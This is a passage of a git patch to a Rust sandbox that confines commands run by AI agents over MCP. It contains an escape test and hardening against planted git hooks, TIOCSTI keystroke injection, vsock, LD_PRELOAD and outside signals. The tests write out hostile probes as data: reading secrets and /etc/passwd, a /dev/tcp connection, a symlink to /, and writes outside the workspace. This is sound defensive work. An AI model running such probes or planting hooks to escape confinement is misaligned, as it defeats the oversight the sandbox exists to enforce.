.handle(r#"{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26"}}"#) + .expect("reply"); + assert_eq!(init["result"]["protocolVersion"], "2025-03-26"); + assert!(s + .handle(r#"{"jsonrpc":"2.0","method":"notifications/initialized"}"#) + .is_none()); + let list = s + .handle(r#"{"jsonrpc":"2.0","id":2,"method":"tools/list"}"#) + .expect("reply"); + let names: Vec<&str> = list["result"]["tools"] + .as_array() + .expect("tools") + .iter() + .filter_map(|t| t["name"].as_str()) + .collect(); + assert_eq!(names.len(), 7); + assert!(names.contains(&"sandbox_run")); + let bad = s + .handle(r#"{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"sandbox_run","arguments":{"id":"nope"}}}"#) + .expect("reply"); + assert_eq!(bad["result"]["isError"], true); + } +} diff --git a/crates/sandbox/tests/mcp.rs b/crates/sandbox/tests/mcp.rs new file mode 100644 index 0000000..ceac9c9 --- /dev/null +++ b/crates/sandbox/tests/mcp.rs @@ -0,0 +1,250 @@ +//! `sbx mcp` driven the way an agent drives it: over stdio, one JSON-RPC +//! message per line. Create a sandbox, write a script, run it, read what it +//! made, and try to get out. + +#![cfg(target_os = "linux")] + +use std::io::{BufRead, BufReader, Write}; +use std::process::{Child, ChildStdin, ChildStdout, Command, Stdio}; + +use serde_json::{json, Value}; + +struct Mcp { + child: Child, + stdin: ChildStdin, + stdout: BufReader, + next: u64, +} + +impl Mcp { + fn start(args: &[&str]) -> Self { + let mut child = Command::new(env!("CARGO_BIN_EXE_sbx")) + .arg("mcp") + .args(args) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .spawn() + .expect("sbx mcp starts"); + let stdin = child.stdin.take().expect("stdin"); + let stdout = BufReader::new(child.stdout.take().expect("stdout")); + let mut m = Self { + child, + stdin, + stdout, + next: 0, + }; + let init = m.request("initialize", json!({"protocolVersion": "2025-06-18"})); + assert_eq!(init["serverInfo"]["name"], "sbx"); + writeln!( + m.stdin, + "{}", + json!({"jsonrpc": "2.0", "method": "notifications/initialized"}) + ) + .expect("write"); + m + } + + fn request(&mut self, method: &str, params: Value) -> Value { + self.next += 1; + let msg = json!({"jsonrpc": "2.0", "id": self.next, "method": method, "params": params}); + writeln!(self.stdin, "{msg}").expect("write"); + self.stdin.flush().expect("flush"); + let mut line = String::new(); + self.stdout.read_line(&mut line).expect("read"); + let reply: Value = serde_json::from_str(&line).expect("json"); + assert_eq!(reply["id"], self.next, "{reply}"); + reply["result"].clone() + } + + /// A tool call: its parsed JSON result, or Err with the error text. + fn call(&mut self, tool: &str, args: Value) -> Result { + let r = self.request("tools/call", json!({"name": tool, "arguments": args})); + let text = r["content"][0]["text"].as_str().unwrap_or("").to_string(); + if r["isError"] == true { + Err(text) + } else { + Ok(serde_json::from_str(&text).expect("tool result is JSON")) + } + } + + fn stop(mut self) { + drop(self.stdin); + let _ = self.child.wait(); + } +} + +fn landlock() -> bool { + Command::new(env!("CARGO_BIN_EXE_sbx")) + .args(["check", "--fs", "workspace-write", "--net", "deny"]) + .output() + .expect("check") + .status + .success() +} + +#[test] +fn an_agent_writes_a_script_runs_it_and_reads_the_result() { + if !landlock() { + eprintln!("SKIPPED: this kernel cannot enforce the sandbox"); + return; + } + let root = tempfile::tempdir().expect("tempdir"); + let mut m = Mcp::start(&["--root", root.path().to_str().expect("utf8")]); + + let created = m.call("sandbox_create", json!({})).expect("create"); + let id = created["id"].as_str().expect("id").to_string(); + assert_eq!(created["network"], "deny"); + let folder = std::path::PathBuf::from(created["folder"].as_str().expect("folder")); + assert!(folder.starts_with(std::fs::canonicalize(root.path()).expect("canon"))); + + // A script that does real work and leaves a result file. + m.call( + "sandbox_write_file", + json!({"id": id, "path": "tools/sum.sh", "content": "#!/bin/sh\necho $(( $1 + $2 )) > out/result.txt\necho done\n", "executable": true}), + ) + .expect("write"); + let ran = m + .call( + "sandbox_run", + json!({"id": id, "script": "mkdir -p out && ./tools/sum.sh 2 40"}), + ) + .expect("run"); + assert_eq!(ran["exit_code"], 0, "{ran}"); + assert_eq!(ran["stdout"], "done\n"); + let read = m + .call( + "sandbox_read_file", + json!({"id": id, "path": "out/result.txt"}), + ) + .expect("read"); + assert_eq!(read["content"], "42\n"); + let listed = m.call("sandbox_list", json!({"id": id})).expect("list"); + let names: Vec<&str> = listed["entries"] + .as_array() + .expect("entries") + .iter() + .filter_map(|e| e["name"].as_str()) + .collect(); + assert!( + names.contains(&"out") && names.contains(&"tools"), + "{names:?}" + ); + + // A command list, stdin, and a non-zero exit come back as they are. + let ran = m + .call( + "sandbox_run", + json!({"id": id, "command": ["sh", "-c", "cat; exit 3"], "stdin": "fed in"}), + ) + .expect("run"); + assert_eq!( + (ran["exit_code"].as_i64(), ran["stdout"].as_str()), + (Some(3), Some("fed in")) + ); + + // Getting out: writing beside the sandbox, the network, the host's + // secrets, a link planted for the unconfined server to follow. + let outside = root.path().join("escaped"); + let ran = m + .call( + "sandbox_run", + json!({"id": id, "script": format!( + "touch {}; echo \"[$SECRET_TOKEN]\"; (exec 3<>/dev/tcp/127.0.0.1/22) 2>/dev/null && echo NET; ln -s / root; true", + outside.display() + )}), + ) + .expect("run"); + assert!(!outside.exists(), "wrote outside the sandbox: {ran}"); + assert!( + ran["stdout"].as_str().expect("stdout").contains("[]"), + "{ran}" + ); + assert!( + !ran["stdout"].as_str().expect("stdout").contains("NET"), + "{ran}" + ); + assert!(m + .call( + "sandbox_read_file", + json!({"id": id, "path": "root/etc/hostname"}) + ) + .is_err()); + assert!(m + .call( + "sandbox_write_file", + json!({"id": id, "path": "root/tmp/x", "content": "x"}) + ) + .is_err()); + assert!(m + .call( + "sandbox_write_file", + json!({"id": id, "path": "../x", "content": "x"}) + ) + .is_err()); + assert!(m + .call( + "sandbox_read_file", + json!({"id": id, "path": "/etc/passwd"}) + ) + .is_err()); + + // The time limit stops the run and what it left in the background. + let tag = format!("sbx_mcp_bg_{}", std::process::id()); + let ran = m + .call( + "sandbox_run", + json!({"id": id, "interpreter": "bash", "timeout_secs": 1, + "script": format!("(exec -a {tag} sleep 30) & sleep 30")}), + ) + .expect("run"); + assert_eq!(ran["timed_out"], true, "{ran}"); + m.call( + "sandbox_run", + json!({"id": id, "interpreter": "bash", "script": format!("(exec -a {tag} sleep 30) & echo started")}), + ) + .expect("run"); + std::thread::sleep(std::time::Duration::from_millis(300)); + let left = std::fs::read_dir("/proc") + .expect("proc") + .filter_map(Result::ok) + .any(|e| { + std::fs::read(e.path().join("cmdline")) + .ok() + .is_some_and(|c| c.split(|b| *b == 0).next() == Some(tag.as_bytes())) + }); + assert!(!left, "a background process outlived its run"); + + // Above the ceilings: refused, not lowered. + assert!(m + .call("sandbox_create", json!({"network": "allow"})) + .is_err()); + assert!(m + .call( + "sandbox_run", + json!({"id": id, "command": ["true"], "timeout_secs": 100000}) + ) + .is_err()); + + m.call("sandbox_destroy", json!({"id": id})) + .expect("destroy"); + assert!(!folder.exists()); + assert!(m.call("sandbox_info", json!({"id": id})).is_err()); + m.stop(); +} + +#[test] +fn sandboxes_are_removed_when_the_server_stops_unless_kept() { + let root = tempfile::tempdir().expect("tempdir"); + let mut m = Mcp::start(&["--root", root.path().to_str().expect("utf8")]); + let created = m.call("sandbox_create", json!({})).expect("create"); + let folder = std::path::PathBuf::from(created["folder"].as_str().expect("folder")); + assert!(folder.is_dir()); + m.stop(); + assert!(!folder.exists()); + + let mut m = Mcp::start(&["--root", root.path().to_str().expect("utf8"), "--keep"]); + let created = m.call("sandbox_create", json!({})).expect("create"); + let folder = std::path::PathBuf::from(created["folder"].as_str().expect("folder")); + m.stop(); + assert!(folder.is_dir()); +} From 09633775c75ffa35d9d3bae39b3206eea20297d5 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 14:24:00 +0000 Subject: [PATCH 02/12] sandbox: hardening from Codex's sandbox (git hooks, scopes, TIOCSTI, vsock, loader) Ideas from openai/codex's linux-sandbox, reimplemented for a Landlock design (bubblewrap and bind mounts are not used): - .git/hooks and .git/config (fs.protect_git, on by default). A planted hook, or core.fsmonitor/core.hooksPath, runs unsandboxed the next time anyone uses git there. Landlock can't make part of a writable root read-only without also blocking file creation in the root, so they are snapshotted before the run, put back after, and reported: "protected path changed by the command", and `protected_restored` from sbx mcp. Worktrees (gitdir:, commondir) are followed. Links are recorded, never followed, and a hooks dir swapped for a link is removed rather than written through. Seatbelt also refuses the writes. --no-protect-git opts out. - Landlock ABI v6 scopes (Linux 6.12+): a command can't signal processes outside its sandbox, or reach abstract Unix sockets made outside it. Measured: `kill` of an outside process now gets EPERM. `doctor` reports support. - seccomp whenever the filesystem is confined, not only under deny/proxy: - ioctl TIOCSTI/TIOCLINUX get EPERM (no typing into the parent's terminal), checked on every syscall ABI; - AF_VSOCK gets EACCES (on WSL2 vsock reaches Windows interop); - io_uring is refused. The socket allowlist stays under deny/proxy only. - LD_PRELOAD, LD_AUDIT, DYLD_INSERT_LIBRARIES and DYLD_FORCE_FLAT_NAMESPACE are removed by default (env.strip_loader_injection). RLIMIT_CORE=0 in the child, so there are no core dumps. Tests: - protect: unit tests for restore, a link swap and worktrees; plus tests/protect.rs through the real binary (a planted pre-commit hook and core.fsmonitor are undone, ordinary work stays, opt-out keeps them); - escape: TIOCSTI/TIOCLINUX refused on a controlling pty with TIOCGWINSZ/termios working, and vsock refused with the network allowed; - the Seatbelt profile orders the protected-path denies. 34 unit, 17 escape, 2 MCP and 1 protect test pass, five runs in a row. clippy is clean for Linux, macOS and Windows. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- crates/sandbox/README.md | 45 +++- crates/sandbox/src/env.rs | 15 ++ crates/sandbox/src/lib.rs | 54 ++++- crates/sandbox/src/limits.rs | 3 + crates/sandbox/src/linux.rs | 31 ++- crates/sandbox/src/main.rs | 7 + crates/sandbox/src/policy.rs | 24 ++- crates/sandbox/src/protect.rs | 359 ++++++++++++++++++++++++++++++++ crates/sandbox/src/seatbelt.rs | 28 ++- crates/sandbox/src/seccomp.rs | 232 +++++++++++++++++---- crates/sandbox/src/server.rs | 1 + crates/sandbox/tests/escape.rs | 102 +++++++++ crates/sandbox/tests/protect.rs | 70 +++++++ 13 files changed, 909 insertions(+), 62 deletions(-) create mode 100644 crates/sandbox/src/protect.rs create mode 100644 crates/sandbox/tests/protect.rs diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md index 9fa9a16..81d78f5 100644 --- a/crates/sandbox/README.md +++ b/crates/sandbox/README.md @@ -63,7 +63,9 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. | filesystem: `deny_read` | Landlock | Seatbelt | **not yet** | | network: `deny` | Landlock TCP (6.7+) + seccomp for every other socket | Seatbelt | **not yet** | | network: `proxy` | Landlock: TCP only to the proxy's port; seccomp as for `deny` | Seatbelt: outbound only to the proxy | **not yet** | -| limits | `setrlimit` + wall clock | `setrlimit` + wall clock | wall clock | +| `.git/hooks`, `.git/config` | snapshotted, put back after the run | Seatbelt refuses the write | **not yet** | +| signals, abstract Unix sockets | Landlock scopes (6.12+): only within the sandbox | Seatbelt default | **not yet** | +| limits | `setrlimit` + wall clock; no core dumps | `setrlimit` + wall clock; no core dumps | wall clock | | environment | yes | yes | yes | - **Every process it starts.** The confinement is applied in a helper @@ -89,6 +91,19 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. - The filter knows x86-64 and aarch64. On any other architecture none is installed, the network is reported **not enforced**, and strict mode refuses. +- **Terminal and VM-socket hardening.** The seccomp filter is also installed + whenever the filesystem is confined, not only under `deny`/`proxy`. It + always refuses: + - `ioctl(TIOCSTI)` and `ioctl(TIOCLINUX)` (EPERM), which would let a + command type keystrokes into the terminal it shares with your shell, to + run unconfined after it exits. Window size, termios and the other + terminal ioctls still work. + - `AF_VSOCK` sockets (EACCES): vsock reaches a VM's host directly, and on + WSL2 that means Windows interop. + - io_uring. + + A filesystem-only policy on an architecture without a filter runs without + this extra hardening. - **The proxy.** `proxy` mode runs an allowlisting HTTP proxy in the unconfined parent and points the command at it (`HTTP(S)_PROXY`). - It sees host names, not content: TLS is tunnelled with `CONNECT`. @@ -104,6 +119,27 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. - A symlink that leads into or above a hidden path isn't granted. - Not covered: a hard link to a hidden file made elsewhere beforehand, or the same directory mounted a second time. +- **The repository's hooks and config** (`fs.protect_git`, on by default). + - **Why:** a hook, or a `core.fsmonitor`/`core.hooksPath` line, is code + git runs the next time anyone uses the repository, outside any sandbox. + - **How (Linux):** Landlock can't make part of a writable root read-only + without also blocking file creation in the root, so `sbx` snapshots each + root's `.git/hooks` and `.git/config` before the run. Anything changed is + put back afterwards and reported (`protected path changed by the + command, restored …`, and `protected_restored` from `sbx mcp`). + - **How (macOS):** Seatbelt also refuses the writes. + - **Worktrees:** a `.git` file (`gitdir:`) and its `commondir` are + followed. + - **Opting out:** `--no-protect-git` for a run that should change hooks. +- **Signals and abstract sockets.** On Landlock ABI v6 (Linux 6.12+) a + sandboxed command can't signal processes outside its sandbox, or connect to + an abstract Unix socket made outside it (a D-Bus session bus, X11). `sbx + doctor` says whether the kernel does this. +- **Code the loader would inject.** `LD_PRELOAD`, `LD_AUDIT`, + `DYLD_INSERT_LIBRARIES` and `DYLD_FORCE_FLAT_NAMESPACE` are removed by + default (`env.strip_loader_injection`): they would load a library into + every program, the sandbox's own helper included. Core dumps are off + (`RLIMIT_CORE=0`), so a crash can't write the process's memory to disk. - **Process lifetime.** - With a wall-clock limit, the command gets its own process group. The limit kills all of it, and `SIGINT`/`SIGTERM`/`SIGHUP` sent to `sbx` are @@ -120,7 +156,12 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. - Landlock matches network ports, not addresses. Under `proxy` the command could connect to *any* host on the proxy's (random, high) port. - On macOS the profile is generated and unit-tested, but this crate's - network and `deny_read` clauses have not yet been run on a Mac. + network, `deny_read` and protected-path clauses have not yet been run on a + Mac. The profile still starts from `(allow default)`; a deny-by-default + profile (only the system services a build needs) is the next step there. +- The hook protection on Linux restores *after* the run. A hook planted + during the run would execute if someone ran git in that workspace before + the run ended. ## Exit codes diff --git a/crates/sandbox/src/env.rs b/crates/sandbox/src/env.rs index 3ea9650..6371cc3 100644 --- a/crates/sandbox/src/env.rs +++ b/crates/sandbox/src/env.rs @@ -41,6 +41,16 @@ pub const GIT_REDIRECTS: &[&str] = &[ "GIT_DISCOVERY_ACROSS_FILESYSTEM", ]; +/// Variables that make the dynamic loader inject code into every program the +/// command starts, the sandbox's own helper included, before it has confined +/// anything. Nothing a build or test needs; removed by default. +pub const LOADER_INJECTION: &[&str] = &[ + "LD_PRELOAD", + "LD_AUDIT", + "DYLD_INSERT_LIBRARIES", + "DYLD_FORCE_FLAT_NAMESPACE", +]; + /// Kept under `inherit = "none"`: without them almost nothing starts. pub const ESSENTIAL: &[&str] = &[ "PATH", @@ -94,6 +104,9 @@ pub fn compute( if policy.strip_git_redirects { removed.extend_from_slice(GIT_REDIRECTS); } + if policy.strip_loader_injection { + removed.extend_from_slice(LOADER_INJECTION); + } let mut out: Vec<(OsString, OsString)> = inherited .into_iter() @@ -151,6 +164,8 @@ mod tests { ("Git_Dir", "/elsewhere/.git"), ("GIT_WORK_TREE", "/elsewhere"), ("ANTHROPIC_API_KEY", "k"), + ("LD_PRELOAD", "/tmp/evil.so"), + ("DYLD_INSERT_LIBRARIES", "/tmp/evil.dylib"), ("CLAUDE_CODE_OAUTH_TOKEN", "t"), ]), &[], diff --git a/crates/sandbox/src/lib.rs b/crates/sandbox/src/lib.rs index 7286e36..244543a 100644 --- a/crates/sandbox/src/lib.rs +++ b/crates/sandbox/src/lib.rs @@ -34,6 +34,7 @@ pub mod env; pub mod limits; pub mod policy; +pub mod protect; pub mod proxy; pub mod seatbelt; pub mod server; @@ -132,6 +133,10 @@ pub struct EnterSpec { pub roots: Vec, #[serde(default)] pub deny_read: Vec, + /// Paths whose writes Seatbelt refuses (macOS); on Linux they are + /// restored after the run instead ([`protect`]). + #[serde(default)] + pub protected: Vec, pub temp: PathBuf, pub net_mode: NetMode, pub proxy_port: Option, @@ -248,15 +253,23 @@ fn enter(args: &[OsString]) -> Result { } eprintln!("sbx: Landlock not applied (best effort): {e}"); } - // After Landlock, before exec: Landlock confines TCP, this refuses the - // sockets Landlock does not see (UDP, raw, ...). See `seccomp`. + // After Landlock, before exec: refuse terminal input injection, vsock and + // io_uring whenever anything is confined, and under deny/proxy also the + // sockets Landlock does not see (UDP, raw, ...). See `seccomp`. Only the + // socket layer is part of the network policy, so only it is fatal in + // strict mode; with the filesystem alone, an architecture without a + // filter is skipped quietly and a kernel refusal is reported. #[cfg(target_os = "linux")] - if spec.net_mode != NetMode::Allow { - if let Err(e) = seccomp::restrict_sockets() { - if spec.strict { - return Err(sandbox_err(format!("seccomp: {e}"))); + { + let network = spec.net_mode != NetMode::Allow; + let fs = spec.fs_mode != FsMode::Off && seccomp::available(); + if network || fs { + if let Err(e) = seccomp::install(network) { + if spec.strict && network { + return Err(sandbox_err(format!("seccomp: {e}"))); + } + eprintln!("sbx: seccomp not applied (best effort): {e}"); } - eprintln!("sbx: seccomp not applied (best effort): {e}"); } } @@ -370,6 +383,7 @@ pub struct Guard { proxy: Option, temp: TempDir, pub enforcement: Enforcement, + protected: Option, /// Whether the command runs in its own process group (only with a /// wall-clock limit and a non-terminal stdin); kill `-pid` to stop it all. pub own_group: bool, @@ -385,6 +399,16 @@ impl Guard { .unwrap_or_default() } + /// Put back whatever the command changed under the protected paths + /// (`fs.protect_git`), and say what. Call once the command has exited. + #[must_use] + pub fn restore_protected(&self) -> Vec { + self.protected + .as_ref() + .map(protect::Snapshot::restore) + .unwrap_or_default() + } + /// The command's private temp directory. #[must_use] pub fn temp_dir(&self) -> &Path { @@ -398,6 +422,8 @@ pub struct Outcome { pub status: ExitStatus, pub timed_out: bool, pub decisions: Vec, + /// Protected paths the command changed, which were put back. + pub restored: Vec, } impl Outcome { @@ -482,6 +508,9 @@ impl Sandbox { } let roots = self.policy.resolved_roots(cwd)?; let deny_read = self.policy.resolved_deny_read(cwd, &roots)?; + let protected = (self.policy.fs.mode == FsMode::WorkspaceWrite + && self.policy.fs.protect_git) + .then(|| protect::Snapshot::take(protect::git_paths(&roots))); let temp = TempDir::new()?; let own_group = self.policy.limits.wall_secs.is_some() && !stdin_is_terminal(); @@ -510,6 +539,10 @@ impl Sandbox { fs_mode: self.policy.fs.mode, roots: roots.clone(), deny_read, + protected: protected + .as_ref() + .map(|s| s.paths().to_vec()) + .unwrap_or_default(), temp: temp.path.clone(), net_mode: self.policy.network.mode, proxy_port: proxy.as_ref().map(proxy::Proxy::port), @@ -542,6 +575,7 @@ impl Sandbox { proxy, temp, enforcement, + protected, own_group, }, )) @@ -572,6 +606,7 @@ impl Sandbox { status, timed_out, decisions: guard.decisions(), + restored: guard.restore_protected(), }) } } @@ -645,6 +680,7 @@ impl Sandbox { status, timed_out, decisions: guard.decisions(), + restored: guard.restore_protected(), }, stdout, stderr, @@ -786,10 +822,14 @@ fn wrap_platform(helper: &Path, spec: &EnterSpec, roots: &[PathBuf]) -> Command cmd.arg("-D") .arg(format!("DR{i}={}", real(hidden).display())); } + for (i, kept) in spec.protected.iter().enumerate() { + cmd.arg("-D").arg(format!("PR{i}={}", real(kept).display())); + } cmd.arg("-p").arg(seatbelt::profile( spec.fs_mode, roots.len(), spec.deny_read.len(), + spec.protected.len(), spec.net_mode, spec.proxy_port, )); diff --git a/crates/sandbox/src/limits.rs b/crates/sandbox/src/limits.rs index cdfb2f9..255dbef 100644 --- a/crates/sandbox/src/limits.rs +++ b/crates/sandbox/src/limits.rs @@ -57,6 +57,9 @@ pub(crate) fn apply(limits: &Limits) -> Result<(), String> { )) } }; + // Never a core dump: it would write the process's memory (tokens, + // keys) to disk, outside what the command was meant to produce. + set(libc::RLIMIT_CORE, 0, "core dumps")?; if let Some(s) = limits.cpu_secs { set(libc::RLIMIT_CPU, s, "cpu")?; } diff --git a/crates/sandbox/src/linux.rs b/crates/sandbox/src/linux.rs index e285e0b..18646ec 100644 --- a/crates/sandbox/src/linux.rs +++ b/crates/sandbox/src/linux.rs @@ -23,7 +23,7 @@ use std::path::{Path, PathBuf}; use landlock::{ Access, AccessFs, AccessNet, BitFlags, CompatLevel, Compatible, NetPort, PathBeneath, PathFd, - RulesetAttr, RulesetCreatedAttr, RulesetStatus, ABI, + RulesetAttr, RulesetCreatedAttr, RulesetStatus, Scope, ABI, }; use crate::policy::{FsMode, NetMode}; @@ -49,6 +49,17 @@ fn hard_ruleset_fs(abi: ABI) -> bool { .is_ok() } +/// Whether this kernel scopes signals and abstract Unix sockets to the +/// sandbox (Landlock ABI v6). +#[must_use] +pub fn scopes_supported() -> bool { + landlock::Ruleset::default() + .set_compatibility(CompatLevel::HardRequirement) + .scope(Scope::AbstractUnixSocket | Scope::Signal) + .and_then(landlock::Ruleset::create) + .is_ok() +} + /// Whether this kernel can confine TCP (Landlock ABI v4). #[must_use] pub fn net_supported() -> bool { @@ -72,7 +83,15 @@ pub(crate) fn fs_status(mode: FsMode) -> Status { out of a read-only tree (needs v2, Linux 5.19)" .into(), ), - Some(abi) => Status::Enforced(format!("Landlock (filesystem ABI {})", abi_number(abi))), + Some(abi) => Status::Enforced(format!( + "Landlock (filesystem ABI {}); {}", + abi_number(abi), + if scopes_supported() { + "signals and abstract Unix sockets scoped to the sandbox" + } else { + "signals and abstract Unix sockets NOT scoped (needs Landlock ABI v6, Linux 6.12)" + } + )), } } @@ -136,6 +155,14 @@ pub(crate) fn restrict(spec: &EnterSpec) -> Result<(), String> { .handle_access(AccessNet::from_all(ABI::V4)) .map_err(|e| e.to_string())?; } + // Landlock ABI v6 (Linux 6.12): the command may not signal a process + // outside its sandbox, nor connect to an abstract Unix socket made + // outside it (a D-Bus or X11 session bus, a container shim). Best effort: + // an older kernel drops the scopes and the rest still applies; `doctor` + // and the status say which. + ruleset = ruleset + .scope(Scope::AbstractUnixSocket | Scope::Signal) + .map_err(|e| e.to_string())?; let mut ruleset = ruleset.create().map_err(|e| e.to_string())?; if wants_fs { diff --git a/crates/sandbox/src/main.rs b/crates/sandbox/src/main.rs index c8ed119..e20181c 100644 --- a/crates/sandbox/src/main.rs +++ b/crates/sandbox/src/main.rs @@ -48,6 +48,9 @@ POLICY (a file, then flags on top of it): --set-env set a variable (repeatable) --keep-agent-session keep CLAUDECODE / CLAUDE_CODE_SESSION* (stripped by default) --keep-git-redirects keep GIT_DIR / GIT_WORK_TREE / ... (stripped by default) + --no-protect-git let the command change .git/hooks and .git/config (by default + they are put back after the run: a planted hook would run, + unsandboxed, the next time anyone uses git there) --wall kill the command (and everything it started) after SECS --cpu CPU seconds per process --mem address space per process @@ -137,6 +140,9 @@ fn run(o: Options) -> Result { for d in outcome.decisions.iter().filter(|d| !d.allowed) { eprintln!("sbx: network refused {} ({})", d.target, d.reason); } + for r in &outcome.restored { + eprintln!("sbx: protected path changed by the command, {r}"); + } if outcome.timed_out { eprintln!("sbx: killed after the wall-clock limit"); } @@ -306,6 +312,7 @@ fn parse(args: &[OsString]) -> Result { } "--keep-agent-session" => policy.env.strip_agent_session = false, "--keep-git-redirects" => policy.env.strip_git_redirects = false, + "--no-protect-git" => policy.fs.protect_git = false, "--wall" => policy.limits.wall_secs = Some(num(&v)?), "--cpu" => policy.limits.cpu_secs = Some(num(&v)?), "--mem" => policy.limits.memory_mb = Some(num(&v)?), diff --git a/crates/sandbox/src/policy.rs b/crates/sandbox/src/policy.rs index 5af234f..27d31d4 100644 --- a/crates/sandbox/src/policy.rs +++ b/crates/sandbox/src/policy.rs @@ -5,6 +5,7 @@ //! mode = "workspace-write" # off | read-only | workspace-write //! write = ["."] # writable roots (workspace-write only) //! deny_read = ["../private"] # hidden: not even readable +//! protect_git = true # .git/hooks and .git/config kept as they were (default) //! //! [network] //! mode = "proxy" # allow | deny | proxy @@ -17,6 +18,7 @@ //! remove = ["AWS_*"] # removed; a trailing * matches a prefix //! strip_agent_session = true # CLAUDECODE, CLAUDE_CODE_SESSION*, ... (default) //! strip_git_redirects = true # GIT_DIR, GIT_WORK_TREE, ... (default) +//! strip_loader_injection = true # LD_PRELOAD, LD_AUDIT, DYLD_INSERT_LIBRARIES (default) //! set = { CI = "1" } //! //! [limits] @@ -49,7 +51,7 @@ pub struct Policy { /// What the command may do to the filesystem. Reading is allowed everywhere /// (a command that cannot read its toolchain cannot run) except beneath /// `deny_read`. -#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] #[serde(default, deny_unknown_fields)] pub struct Fs { pub mode: FsMode, @@ -61,6 +63,21 @@ pub struct Fs { /// `workspace-write`, must exist, and may not lie inside a writable root /// (writing implies reading). Relative paths resolve like `write`. pub deny_read: Vec, + /// Keep each writable root's `.git/hooks` and `.git/config` as they + /// were: a planted hook runs, unsandboxed, the next time anyone uses git + /// there (see [`crate::protect`]). On by default. + pub protect_git: bool, +} + +impl Default for Fs { + fn default() -> Self { + Self { + mode: FsMode::Off, + write: Vec::new(), + deny_read: Vec::new(), + protect_git: true, + } + } } #[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)] @@ -161,6 +178,9 @@ pub struct Env { /// Remove the variables that point git at another repository (see /// [`crate::env::GIT_REDIRECTS`]). pub strip_git_redirects: bool, + /// Remove the variables that make every program load a library someone + /// chose (see [`crate::env::LOADER_INJECTION`]). + pub strip_loader_injection: bool, /// Set last, so they win over everything above. pub set: BTreeMap, } @@ -173,6 +193,7 @@ impl Default for Env { remove: Vec::new(), strip_agent_session: true, strip_git_redirects: true, + strip_loader_injection: true, set: BTreeMap::new(), } } @@ -212,6 +233,7 @@ impl Policy { mode: FsMode::WorkspaceWrite, write: vec![root.into()], deny_read: Vec::new(), + protect_git: true, }, ..Self::default() } diff --git a/crates/sandbox/src/protect.rs b/crates/sandbox/src/protect.rs new file mode 100644 index 0000000..01101ad --- /dev/null +++ b/crates/sandbox/src/protect.rs @@ -0,0 +1,359 @@ +//! Paths inside a writable root that the command must not leave changed: +//! by default a repository's `.git/hooks` and `.git/config`. +//! +//! # Why +//! +//! A hook, or a `core.fsmonitor` / `core.hooksPath` line in the config, is +//! code that git runs the NEXT time anyone uses the repository, outside any +//! sandbox. A command confined to the workspace could plant one and get out +//! by waiting. +//! +//! # How +//! +//! Landlock only grants: a writable root is writable all the way down, and +//! carving `.git/hooks` out of it would also take away the right to create +//! files in the root itself. So on Linux the protected paths are snapshotted +//! before the command runs and, after it ends, anything it changed is put +//! back, and the change reported. A hook the command planted could still run +//! if someone ran git in the workspace WHILE the command was running. +//! On macOS the Seatbelt profile also refuses the writes outright. +//! +//! A worktree's `.git` is a file naming the real git directory (`gitdir:`); +//! that directory's (and its common directory's) hooks and config are +//! protected when they lie inside a writable root. Outside one, the command +//! cannot write them anyway. + +use std::collections::BTreeMap; +use std::path::{Path, PathBuf}; + +/// The default protected paths, relative to each writable root's `.git`. +pub const GIT_PROTECTED: &[&str] = &["hooks", "config"]; + +/// At most this much is snapshotted; a larger tree is reported, not copied. +const MAX_BYTES: u64 = 16 * 1024 * 1024; + +#[derive(Debug, Clone, PartialEq, Eq)] +enum Entry { + File { bytes: Vec, mode: u32 }, + Dir, + Link(PathBuf), +} + +/// What the protected paths held before the command ran. +#[derive(Debug, Default)] +pub struct Snapshot { + paths: Vec, + entries: BTreeMap, + /// Protected paths too large to snapshot (not restored). + pub skipped: Vec, +} + +/// The protected paths for these writable roots: each root's git directory +/// (resolving `gitdir:` and `commondir`) `hooks` and `config`, kept only when +/// inside a writable root. +#[must_use] +pub fn git_paths(roots: &[PathBuf]) -> Vec { + let mut out = Vec::new(); + for root in roots { + for git_dir in git_dirs(root) { + for name in GIT_PROTECTED { + let p = git_dir.join(name); + if roots.iter().any(|r| p.starts_with(r)) && !out.contains(&p) { + out.push(p); + } + } + } + } + out +} + +/// A root's git directory and, for a worktree, its common directory. +fn git_dirs(root: &Path) -> Vec { + let dot_git = root.join(".git"); + let Ok(meta) = dot_git.symlink_metadata() else { + return Vec::new(); + }; + let git_dir = if meta.is_dir() { + dot_git + } else if meta.is_file() { + let Ok(text) = std::fs::read_to_string(&dot_git) else { + return Vec::new(); + }; + let Some(target) = text.trim().strip_prefix("gitdir:") else { + return Vec::new(); + }; + let target = Path::new(target.trim()); + let abs = if target.is_absolute() { + target.to_path_buf() + } else { + root.join(target) + }; + match std::fs::canonicalize(abs) { + Ok(p) => p, + Err(_) => return Vec::new(), + } + } else { + return Vec::new(); + }; + let mut dirs = vec![git_dir.clone()]; + if let Ok(common) = std::fs::read_to_string(git_dir.join("commondir")) { + let c = Path::new(common.trim()); + let abs = if c.is_absolute() { + c.to_path_buf() + } else { + git_dir.join(c) + }; + if let Ok(abs) = std::fs::canonicalize(abs) { + if !dirs.contains(&abs) { + dirs.push(abs); + } + } + } + dirs +} + +impl Snapshot { + /// Record what `paths` hold now. Symlinks are recorded, never followed. + #[must_use] + pub fn take(paths: Vec) -> Self { + let mut s = Self { + paths: Vec::new(), + ..Self::default() + }; + for p in paths { + let mut entries = BTreeMap::new(); + let mut budget = MAX_BYTES; + if record(&p, &mut entries, &mut budget) { + s.entries.extend(entries); + s.paths.push(p); + } else { + s.skipped.push(p); + } + } + s + } + + /// The protected paths being watched. + #[must_use] + pub fn paths(&self) -> &[PathBuf] { + &self.paths + } + + /// Put back whatever changed under the protected paths, and say what. + /// Never follows a link the command made: a link where a folder was is + /// removed, not written through. + pub fn restore(&self) -> Vec { + let mut changed = Vec::new(); + 